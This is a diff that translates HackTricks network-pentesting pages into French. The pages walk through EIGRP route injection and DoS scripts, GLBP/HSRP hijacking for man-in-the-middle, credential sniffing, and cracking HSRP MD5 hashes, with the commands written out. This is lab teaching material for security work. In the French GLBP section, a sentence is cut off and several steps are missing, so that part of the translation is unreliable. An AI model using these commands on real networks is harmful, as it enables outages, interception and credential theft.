-Arguments of the script: - -* **Interface of the attacking system (eth0);** -* **EIGRP autonomous system number (1);** -* **Subnet where the attacking system is located. In my case, the subnet is 10.10.100.0/24** +Arguments du script : +* **Interface du système attaquant (eth0) ;** +* **Numéro de système autonome EIGRP (1) ;** +* **Sous-réseau où se trouve le système attaquant. Dans mon cas, le sous-réseau est 10.10.100.0/24** ``` ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 ``` -
-### EIGRP Blackhole +### Trou noir EIGRP -The essence of this attack is a simple injection of a false route that will poison the routing table. Traffic to, **say, the** `10.10.100.0/24` **network will go nowhere, causing a denial of service. Such an attack is called a Blackhole.** The script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) \*\*\*\* will be the tool used to perform it. For this example, I will send traffic destined for host `172.16.100.140/32` to the black hole. +L'essence de cette attaque est une simple injection d'une fausse route qui empoisonnera la table de routage. Le trafic vers, disons, le réseau `10.10.100.0/24` ne mènera nulle part, causant un déni de service. Une telle attaque est appelée un Trou noir. Le script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) sera l'outil utilisé pour la réaliser. Pour cet exemple, je vais envoyer du trafic destiné à l'hôte `172.16.100.140/32` vers le trou noir.
-Arguments of the script: - -* **interface of the attacking system** -* **EIGRP AS number** -* **IP address of the attacker** -* **IP address of the target subnet whose traffic will be sent to the black hole** -* **target subnet mask** +Arguments du script: +* **interface du système attaquant** +* **numéro AS EIGRP** +* **adresse IP de l'attaquant** +* **adresse IP du sous-réseau cible dont le trafic sera envoyé vers le trou noir** +* **masque de sous-réseau cible** ``` ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 ``` -
-**Our host seems to be in trouble :)** +**Notre hôte semble avoir des problèmes :)**
-As you can see, the host loses connectivity to host **172.16.100.140/32** due to route injection. +Comme vous pouvez le voir, l'hôte perd la connectivité avec l'hôte **172.16.100.140/32** en raison d'une injection de route. -### Abusing K-Values +### Abus des valeurs K -To establish EIGRP neighbors, **routers use special K-values.** They must be the same among all EIGRP neighbors. If at least one K-value does not match, the EIGRP domain will crash and the neighborhood will be broken. We will use [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) \*\*\*\* to perform this attack\*\*.\*\* +Pour établir des voisins EIGRP, **les routeurs utilisent des valeurs K spéciales.** Elles doivent être identiques parmi tous les voisins EIGRP. Si au moins une valeur K ne correspond pas, le domaine EIGRP se bloquera et le voisinage sera rompu. Nous utiliserons [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) \*\*\*\* pour effectuer cette attaque\*\*.\*\*
-Script arguments: +Arguments du script : -* **network interface** -* **EIGRP AS number** -* **IP Address of legitimate router** - -**On behalf of the specified IP and will be sent an inject on the multicast EIGRP IP address, in which the K-values are different.** In my case, I will break the neighborhood on behalf of router GW1 **(address is 10.10.100.100)**. +* **interface réseau** +* **numéro AS EIGRP** +* **adresse IP du routeur légitime** +**Au nom de l'adresse IP spécifiée, une injection sera envoyée sur l'adresse IP EIGRP multicast, dans laquelle les valeurs K sont différentes.** Dans mon cas, je vais rompre le voisinage au nom du routeur GW1 **(l'adresse est 10.10.100.100)**. ``` ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 ``` +

Extrait du trafic lors d'une perturbation de voisinage

-

Dump of traffic during a neighborhood disruption

+

Le routeur GW1 se déconnecte et se reconnecte sans cesse à EIGRP

-

GW1 router endlessly disconnects and reconnects EIGRP

+**Une attaque DoS peut être effectuée de cette manière. Pendant l'opération, des interruptions et des tentatives de voisinage sans fin se produisent, paralysant une partie du domaine de routage EIGRP.** -**A DoS attack can be carried out in this way. During operation, endless breakups and neighborhood attempts occur, paralyzing part of the EIGRP routing domain.** +### Débordement de table de routage -### Routing table overflow - -The essence of this attack is to provoke the sending of a huge number of false routes, which will overflow the routing table. This depletes the computing resources of the router, namely the CPU and RAM, since the injections occur at enormous speed. This attack is implemented [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py) **script** +L'essence de cette attaque est de provoquer l'envoi d'un grand nombre de fausses routes, qui vont déborder la table de routage. Cela épuise les ressources informatiques du routeur, à savoir le CPU et la RAM, car les injections se produisent à une vitesse énorme. Cette attaque est mise en œuvre par le script [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py).
-Script arguments - -* **network interface** -* **EIGRP AS Number** -* **Attacker’s IP address** +Arguments du script +* **interface réseau** +* **Numéro AS EIGRP** +* **Adresse IP de l'attaquant** ``` in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 ``` +Après l'exécution du script, la table de routage commence à déborder de routes. Les adresses aléatoires des réseaux cibles sont dues à l'utilisation de **RandIP()** dans [**Scapy**](https://github.com/secdev/scapy). -After running the script, the routing table starts overflowing with routes. The random addresses of the target networks are due to the use of **RandIP()** in [**Scapy**](https://github.com/secdev/scapy). +

Table de routage débordée sur le routeur GW1

-

Routing table overflows on GW1 router

- -

Overloaded router CPU

+

Processeur du routeur surchargé

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index 14091e408..0b2c50829 100644 --- a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -1,279 +1,217 @@ -# GLBP & HSRP Attacks +# Attaques GLBP & HSRP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-**This pages was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\* +**Cette page a été copiée depuis** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\* -## FHRP Hijacking +## Piratage FHRP -### What is FHRP? +### Qu'est-ce que FHRP ? -FHRP (First Hop Redundancy Protocol) is a class of network protocols designed to create a hot redundant routing system. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. +FHRP (First Hop Redundancy Protocol) est une classe de protocoles réseau conçus pour créer un système de routage redondant à chaud. Avec FHRP, des routeurs physiques peuvent être combinés en un seul dispositif logique, ce qui augmente la tolérance aux pannes et aide à répartir la charge. -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP, which I will demonstrate next.** +**Les ingénieurs de Cisco Systems ont développé deux protocoles FHRP, GLBP et HSRP, que je vais vous présenter ci-dessous.** -### GLBP Protocol +### Protocole GLBP -**Developed by Cisco Systems engineers.** Like HSRP, this protocol is implemented on top of TCP/IP protocol stack, that’s why UDP transport layer protocol under port number 3222 is used for translation of service information. GLBP routers within the same logical group exchange special “hello” packets every 3 seconds, but if within 10 seconds a GLBP router within the same group has not received a hello packet from its GLBP neighbor, it recognizes it as “dead”. However, the timer values can be configured depending on the administrator’s needs. +**Développé par les ingénieurs de Cisco Systems.** Comme HSRP, ce protocole est implémenté sur la pile de protocoles TCP/IP, c'est pourquoi le protocole de couche de transport UDP sous le numéro de port 3222 est utilisé pour la traduction des informations de service. Les routeurs GLBP au sein du même groupe logique échangent des paquets "hello" spéciaux toutes les 3 secondes, mais si un routeur GLBP dans le même groupe n'a pas reçu de paquet hello de son voisin GLBP dans les 10 secondes, il le reconnaît comme "mort". Cependant, les valeurs de minuterie peuvent être configurées en fonction des besoins de l'administrateur. -### The skeleton and mechanics of GLBP +### La structure et le fonctionnement de GLBP -GLBP provides load sharing to multiple routers (gateways) using one virtual IP address and multiple virtual MAC addresses. Each host is configured with the same virtual IP address and all routers in the virtual group participate in packet transmission. +GLBP permet le partage de charge entre plusieurs routeurs (passerelles) en utilisant une adresse IP virtuelle et plusieurs adresses MAC virtuelles. Chaque hôte est configuré avec la même adresse IP virtuelle et tous les routeurs du groupe virtuel participent à la transmission de paquets. -Works much differently with the HSRP and VRRP protocols because it uses true load balancing mechanisms, I will denote below: +Fonctionne de manière très différente des protocoles HSRP et VRRP car il utilise de vrais mécanismes de répartition de charge, que je vais décrire ci-dessous : -**Host-Dependent.** A type of load balancing used on a network where there is NAT. Host-Dependent guarantees the fact that the host will get back the same MAC address of the AVF device which was used at an earlier point in time, thus the NAT configured to the host will not be broken. +**Dépendant de l'hôte.** Un type de répartition de charge utilisé sur un réseau où il y a une NAT. Le mode Dépendant de l'hôte garantit que l'hôte récupérera la même adresse MAC de l'appareil AVF qui a été utilisé à un moment antérieur, de sorte que la NAT configurée pour l'hôte ne sera pas rompue. -**Round-Robin.** In this mode, the AVG device distributes MAC addresses to AVF members alternately. This is the mechanism used by default. +**Round-Robin.** Dans ce mode, l'appareil AVG distribue les adresses MAC aux membres AVF de manière alternative. C'est le mécanisme utilisé par défaut. -**Weight-based round-robin**. Load balancing based on a special “Weight” metric +**Round-robin basé sur le poids.** Répartition de charge basée sur une métrique spéciale "Poids". -### Roles in the GLBP domain & Terminology +### Rôles dans le domaine GLBP et terminologie -**AVG (Active Virtual Gateway)** — the router with the leading role is also responsible for distributing MAC addresses to other routers within the same GLBP group. A kind of “boss” in the GLBP domain. AVG tells the other routers how to distribute traffic by handing out MAC addresses when an ARP request arrives. It is worth noting that there can only be one AVG router in a GLBP domain, but it can also be an AVF member. +**AVG (Active Virtual Gateway)** - le routeur avec le rôle principal est également responsable de la distribution des adresses MAC aux autres routeurs du même groupe GLBP. Une sorte de "patron" dans le domaine GLBP. L'AVG indique aux autres routeurs comment distribuer le trafic en distribuant des adresses MAC lorsqu'une demande ARP arrive. Il convient de noter qu'il ne peut y avoir qu'un seul routeur AVG dans un domaine GLBP, mais il peut également être un membre AVF. -**AVF (Active Virtual Forwarder)** — a router in a GLBP group handling traffic in the network. +**AVF (Active Virtual Forwarder)** - un routeur dans un groupe GLBP qui gère le trafic dans le réseau. -**GLBP Priority** — The priority value that determines which router in the GLBP group will be the AVG. The default value is 100 (the priority range can be from 1 to 255). It can be set manually, i.e. the network engineer himself determines which router will be the “superior” and which will be the “slave”. The higher the priority, the more likely the router will get the AVG role. Usually the AVG role is given to more powerful routers. +**Priorité GLBP** - La valeur de priorité qui détermine quel routeur dans le groupe GLBP sera l'AVG. La valeur par défaut est 100 (la plage de priorité peut être de 1 à 255). Elle peut être définie manuellement, c'est-à-dire que l'ingénieur réseau détermine lui-même quel routeur sera le "supérieur" et lequel sera l'esclave. Plus la priorité est élevée, plus il est probable que le routeur obtiendra le rôle AVG. En général, le rôle AVG est attribué aux routeurs les plus puissants. -**GLBP Weight** — The value of the so-called GLBP Weight of a router in a GLBP group. GLBP Weight defines the load level of the router. This value is “floating” and can vary depending on the load on the physical channel (the Object Tracking mechanism is involved), but it can also be configured manually. +**Poids GLBP** - La valeur du soi-disant poids GLBP d'un routeur dans un groupe GLBP. Le poids GLBP définit le niveau de charge du routeur. Cette valeur est "flottante" et peut varier en fonction de la charge sur le canal physique (le mécanisme de suivi d'objet est impliqué), mais elle peut également être configurée manuellement. -**GLBP Virtual IP Address** — the virtual IP address in the GLBP domain. Used as the default gateway address for legitimate hosts. +**Adresse IP virtuelle GLBP** - l'adresse IP virtuelle dans le domaine GLBP. Utilisée comme adresse de passerelle par défaut pour les hôtes légitimes. -GLBP uses the reserved group mailing IP address **224.0.0.102** and the UDP transport layer protocol port number **3222** to send and process service information. Special GLBP Hello packets are sent every **3 seconds.** If the GLBP router has not received a hello packet from a neighbor within **10 seconds**, the neighbor will be considered “dead” and will drop out of the GLBP domain. +GLBP utilise l'adresse IP de diffusion de groupe réservée **224.0.0.102** et le numéro de port du protocole de couche de transport UDP **3222** pour envoyer et traiter des informations de service. Des paquets GLBP Hello spéciaux sont envoyés toutes les **3 secondes**. Si le routeur GLBP n'a pas reçu de paquet hello d'un voisin dans les **10 secondes**, le voisin sera considéré comme "mort" et sortira du domaine GLBP. -### GLBP Attack Mechanism - -The technique of this network attack is to impose your device as the main router **by injecting a malicious GLBP packet with a maximum priority value.** **Successful exploitation leads to a DoS or MITM attack in which you can intercept traffic within the network, conduct a redirect, or cause a DoS as you take over the role of AVG router.** All you have to do is build a GLBP packet with the highest priority value of 255 and direct it towards the local network. - -
- -
- -### GLBP Injection (Loki) - -To demonstrate this attack, I will use [**Loki**](https://github.com/raizo62/loki\_on\_kali). It will perform a malicious GLBP injection with a maximum priority value of 255 and a maximum weight value of 255. But before performing the attack, the following information needs to be examined: - -* **The virtual IP address used in the GLBP domain** -* **availability of authentication** -* **Value of router priorities** - -We will be able to extract this information by analyzing GLBP traffic. We will use **Wireshark**. - -As we see, only two routers are involved in the GLBP process: **10.10.100.100 and 10.10.100.200.** - -

GLBP Ads

- -

GLBP Advertisement from first router

- -After analyzing GLBP traffic we have the following: - -* **A misconfiguration was detected within the priority setting. AVG router is considered a GLBP router with priority 200, i.e. we have a vector for GLBP hijacking** -* **no authentication** -* **The virtual IP address used in the GLBP domain is 10.10.100.254** - -With this information, **we can easily attack GLBP.** - -

Loki found GLBP ads from two routers

- -Before the attack, **switch to promiscious mode and allow traffic routing:** +### Mécanisme d'attaque GLBP +La technique de cette attaque réseau consiste à imposer votre appareil en tant que routeur principal **en injectant un paquet GLBP malveillant avec une valeur de priorité maximale.** **L ``` ~$ sudo ip link set eth0 promisc on ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` - -Select the router at IP address **10.10.100.100** and activate the **Get IP** option. You also need to generate a **Gratuitous ARP.** +Sélectionnez le routeur à l'adresse IP **10.10.100.100** et activez l'option **Obtenir une adresse IP**. Vous devez également générer une **ARP gratuit**.
-

The structure of a malicious GLBP injection

+

La structure d'une injection GLBP malveillante

-As you can see, the AVG router is now pretending to be an attacking system. **The priority value is 255, the weight value is 255, i.e. the maximum.** +Comme vous pouvez le voir, le routeur AVG prétend maintenant être un système d'attaque. **La valeur de priorité est de 255, la valeur de poids est de 255, c'est-à-dire le maximum.** -**After performing the injection we need to create a secondary IP address on our network interface with the value of the virtual IP address in the GLBP domain. You also need to set a 24-bit mask.** - -**This way legitimate traffic will be looped back to us, because the virtual IP address used in the GLBP domain is the default gateway address for hosts:** +**Après avoir effectué l'injection, nous devons créer une adresse IP secondaire sur notre interface réseau avec la valeur de l'adresse IP virtuelle dans le domaine GLBP. Vous devez également définir un masque de 24 bits.** +**De cette façon, le trafic légitime sera renvoyé vers nous, car l'adresse IP virtuelle utilisée dans le domaine GLBP est l'adresse de passerelle par défaut pour les hôtes :** ``` ~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 ``` - -To see not only incoming traffic but also outgoing traffic, we need a small rule for **SNAT (masquerading):** - +Pour voir non seulement le trafic entrant mais aussi le trafic sortant, nous avons besoin d'une petite règle pour **SNAT (masquerading) :** ``` ~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` - -**We also need to remove the default route on our machine and write a new one which will go through the former AVG router** **(address is 10.10.100.100).** Even though we have hijacked the AVG role from the router, it will still be able to route traffic. - +Nous devons également supprimer la route par défaut sur notre machine et en écrire une nouvelle qui passera par l'ancien routeur AVG (l'adresse est 10.10.100.100). Même si nous avons détourné le rôle AVG du routeur, il pourra toujours acheminer le trafic. ``` ~$ sudo route del default ~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` - -That’s it, **we are now the “man in the middle”!** I will run the tool [**net-creds.py**](https://github.com/DanMcInerney/net-creds) to analyze the traffic to look for important data. **For example, unencrypted FTP traffic or NTLM hashes.** - +C'est bon, **nous sommes maintenant l'homme du milieu**! Je vais exécuter l'outil [**net-creds.py**](https://github.com/DanMcInerney/net-creds) pour analyser le trafic à la recherche de données importantes. **Par exemple, le trafic FTP non crypté ou les hachages NTLM.** ``` ~$ sudo python2 net-creds.py -i eth0 ``` - -After running the utility, I will try to read the SMB share with the IP address **172.16.100.70**, which is behind the GLBP routers. - +Après avoir exécuté l'utilitaire, je vais essayer de lire le partage SMB avec l'adresse IP **172.16.100.70**, qui se trouve derrière les routeurs GLBP. ``` user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy ``` -
-**This is how you can intercept traffic within the network by attacking GLBP domains.** +**Voici comment vous pouvez intercepter le trafic au sein du réseau en attaquant les domaines GLBP.** -### HSRP Hijacking +### Piratage HSRP -**HSRP (Hot Standby Router/Redundancy Protocol) —** is a Cisco proprietary protocol that allows for network gateway redundancy. The general idea is to combine several physical routers into one logical router with a common IP address. This address of the virtual router will be assigned to the interface of the router with the master role, and the latter, in its turn, will take care of traffic forwarding. In the HSRP domain, the task of handling all traffic falls precisely on the router with the primary role, unlike GLBP, where load balancing by using special metrics (priority and weight) was proposed. +**HSRP (Hot Standby Router/Redundancy Protocol) —** est un protocole propriétaire de Cisco qui permet la redondance de la passerelle réseau. L'idée générale est de combiner plusieurs routeurs physiques en un seul routeur logique avec une adresse IP commune. Cette adresse du routeur virtuel sera assignée à l'interface du routeur avec le rôle principal, et ce dernier, à son tour, se chargera de la transmission du trafic. Dans le domaine HSRP, la tâche de gérer tout le trafic incombe précisément au routeur avec le rôle principal, contrairement à GLBP, où l'équilibrage de charge en utilisant des métriques spéciales (priorité et poids) a été proposé. -### Roles in the HSRP domain & terminology +### Rôles dans le domaine HSRP et terminologie -**HSRP Active Router** — a device that acts as a virtual router and provides forwarding of traffic from source networks to destination networks.\ -**HSRP Standby Router** — a device that acts as a standby router, waiting for the active router to fail. When the primary Active router fails, the Standby router will take over the primary role and take over the duties of the Active router.\ -**HSRP Group** — a group of devices that ensures the operation and fault tolerance of a logical router.\ -**HSRP MAC Address** — the virtual MAC address of the logical router in the HSRP domain.\ -**HSRP Virtual IP Address** — This is a special virtual IP address in the HSRP group. This IP address will be the default gateway for the end hosts, used on the logical router itself. +**Routeur actif HSRP** — un dispositif qui agit en tant que routeur virtuel et assure la transmission du trafic des réseaux sources aux réseaux de destination.\ +**Routeur de secours HSRP** — un dispositif qui agit en tant que routeur de secours, attendant que le routeur actif tombe en panne. Lorsque le routeur actif primaire tombe en panne, le routeur de secours prendra le rôle principal et assumera les fonctions du routeur actif.\ +**Groupe HSRP** — un groupe de dispositifs qui assure le fonctionnement et la tolérance aux pannes d'un routeur logique.\ +**Adresse MAC HSRP** — l'adresse MAC virtuelle du routeur logique dans le domaine HSRP.\ +**Adresse IP virtuelle HSRP** — il s'agit d'une adresse IP virtuelle spéciale dans le groupe HSRP. Cette adresse IP sera la passerelle par défaut pour les hôtes finaux, utilisée sur le routeur logique lui-même. -### HSRP protocol versions +### Versions du protocole HSRP -The HSRP protocol has two versions — HSRPv1 and HSRPv2. They differ in the following parameters: +Le protocole HSRP a deux versions — HSRPv1 et HSRPv2. Ils diffèrent selon les paramètres suivants : -* **The number of possible logical groups.** HSRPv1 can have up to 255 groups. HSRPv2 can have up to 4096 groups -* **Multicast IP address.** HSRPv1 uses IP address **224.0.0.2** to send service information, and HSRPv2 uses **224.0.0.102** -* **Virtual MAC address.** HSRPv1 uses **00:00:0C:07:AC:XX** as its virtual MAC address. HSRPv2 has a virtual MAC address of **00:00:0C:9F:FX:XX** (where XX is the HSRP group number) +* **Le nombre de groupes logiques possibles.** HSRPv1 peut avoir jusqu'à 255 groupes. HSRPv2 peut avoir jusqu'à 4096 groupes. +* **Adresse IP multicast.** HSRPv1 utilise l'adresse IP **224.0.0.2** pour envoyer des informations de service, et HSRPv2 utilise **224.0.0.102**. +* **Adresse MAC virtuelle.** HSRPv1 utilise **00:00:0C:07:AC:XX** comme adresse MAC virtuelle. HSRPv2 a une adresse MAC virtuelle de **00:00:0C:9F:FX:XX** (où XX est le numéro de groupe HSRP). -HSRP uses the reserved IP address **224.0.0.2** or **224.0.0.102** (depending on the HSRP version) and the UDP transport layer protocol with port number **1985** to broadcast and process the service information. Special HSRP Hello packets are sent **every 3 seconds.** If the HSRP router does not receive a hello packet from a neighbor **within 10 seconds**, the neighbor will be considered “dead” and will drop out of the HSRP domain. +HSRP utilise l'adresse IP réservée **224.0.0.2** ou **224.0.0.102** (selon la version de HSRP) et le protocole de couche de transport UDP avec le numéro de port **1985** pour diffuser et traiter les informations de service. Des paquets HSRP Hello spéciaux sont envoyés **toutes les 3 secondes.** Si le routeur HSRP ne reçoit pas de paquet hello d'un voisin **dans les 10 secondes**, le voisin sera considéré comme "mort" et sortira du domaine HSRP. -### HSRP Attack Mechanism +### Mécanisme d'attaque HSRP -**This is exactly the same as GLBP Hijacking. We need to perform a malicious HSRP injection with a maximum priority value of 255.** This allows us to hijack the role of the Active router, opening the door to a **MITM** attack. But again, we need to examine the following information before conducting the attack: +**C'est exactement la même chose que le piratage GLBP. Nous devons effectuer une injection HSRP malveillante avec une valeur de priorité maximale de 255.** Cela nous permet de prendre le rôle du routeur actif, ouvrant la porte à une attaque **MITM**. Mais encore une fois, nous devons examiner les informations suivantes avant de mener l'attaque : -* **The virtual IP address used in the HSRP domain** -* **The presence of authentication** -* **Value of router priorities** +* **L'adresse IP virtuelle utilisée dans le domaine HSRP** +* **La présence d'authentification** +* **Valeur des priorités des routeurs** -We can extract this information by analyzing HSRP traffic. **Let’s use Wireshark.** +Nous pouvons extraire ces informations en analysant le trafic HSRP. **Utilisons Wireshark.** -As you can see in the screenshot, the HSRP process involves only two routers with addresses 10.10.100.100 and 10.10.100.200 +Comme vous pouvez le voir sur la capture d'écran, le processus HSRP implique seulement deux routeurs avec les adresses 10.10.100.100 et 10.10.100.200

HSRP Ads

-

First HSRP router

+

Premier routeur HSRP

-

Second HSRP router

+

Deuxième routeur HSRP

-Based on the analysis of HSRP traffic, we have the following: +Sur la base de l'analyse du trafic HSRP, nous avons ce qui suit : -* **A misconfiguration was detected within the priority setting. Active router is considered to be a HSRP router with priority 200, that is, we have a vector for HSRP hijacking** -* **the virtual IP address used in the HSRP domain is 10.10.100.254** -* **MD5 authentication is used** +* **Une mauvaise configuration a été détectée dans le paramètre de priorité. Le routeur actif est considéré comme un routeur HSRP avec une priorité de 200, c'est-à-dire que nous avons un vecteur pour le piratage HSRP** +* **l'adresse IP virtuelle utilisée dans le domaine HSRP est 10.10.100.254** +* **L'authentification MD5 est utilisée** -Having authentication in the domain ties our hands, but I will fix that. +Avoir une authentification dans le domaine nous lie les mains, mais je vais arranger ça. -### HSRP Authentication Bypassing - -Save HSRP traffic dump in **.pcap** format, so that the exfiltrator can correctly extract MD5 hashes from the dump. I will use **hsrp2john.py** as the exfiltrator: +### Contournement de l'authentification HSRP +Enregistrez le dump de trafic HSRP au format **.pcap**, afin que l'exfiltrateur puisse extraire correctement les hachages MD5 du dump. J'utiliserai **hsrp2john.py** comme exfiltrateur : ``` ~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap ``` +

Hashes MD5 extraites de la capture de trafic HSRP

-

Extracted MD5 hashes from HSRP traffic dump

- -I will crack the hashes with **John the Ripper,** specify the hashes themselves as input. And with the — **wordlist** switch I will specify the path to the dictionary: - +Je vais casser les hashes avec **John the Ripper**, en spécifiant les hashes eux-mêmes en tant qu'entrée. Et avec l'option **--wordlist**, je vais spécifier le chemin d'accès au dictionnaire : ``` ~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute ``` +

Mot de passe de domaine HSRP craqué

-

Cracked HSRP domain password

+En conséquence, nous avons une clé pour entrer dans le domaine HSRP - **endgame**. -As a result, we have a key to enter the HSRP domain — **endgame**. +### Injection HSRP (Loki) -### HSRP Injection (Loki) +Je vais utiliser le même Loki pour attaquer le protocole HSRP. Entre autres, il dispose d'une fonctionnalité d'injection de clé, qui nous aide à contourner l'authentification. Plus tôt, dans la section de détournement HSRP, nous avons obtenu toutes les informations nécessaires sur le domaine HSRP. -I will use the same Loki to attack the HSRP protocol. Among other things, it has a key injection feature, which helps us bypass authentication. Earlier, in the HSRP Hijacking section, we obtained all the necessary information about the HSRP domain. +Démarrage de Loki. -Starting Loki. - -

Loki detected HSRP ads

- -Don’t forget to switch to promiscuous mode and allow traffic routing before conducting the attack: +

Loki a détecté des annonces HSRP

+N'oubliez pas de passer en mode promiscuous et d'autoriser le routage du trafic avant de procéder à l'attaque : ``` ~$ sudo ip link set eth0 promisc on ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` - -Select the router with an address of **10.10.100.100** and a priority of **200**. As the **Secret** parameter, **enter the cracked password** from the HSRP domain, generate a Gratuitous ARP and select the **Get IP** option. +Sélectionnez le routeur ayant l'adresse **10.10.100.100** et une priorité de **200**. En tant que paramètre **Secret**, **entrez le mot de passe craqué** du domaine HSRP, générez une ARP gratuit et sélectionnez l'option **Get IP**.
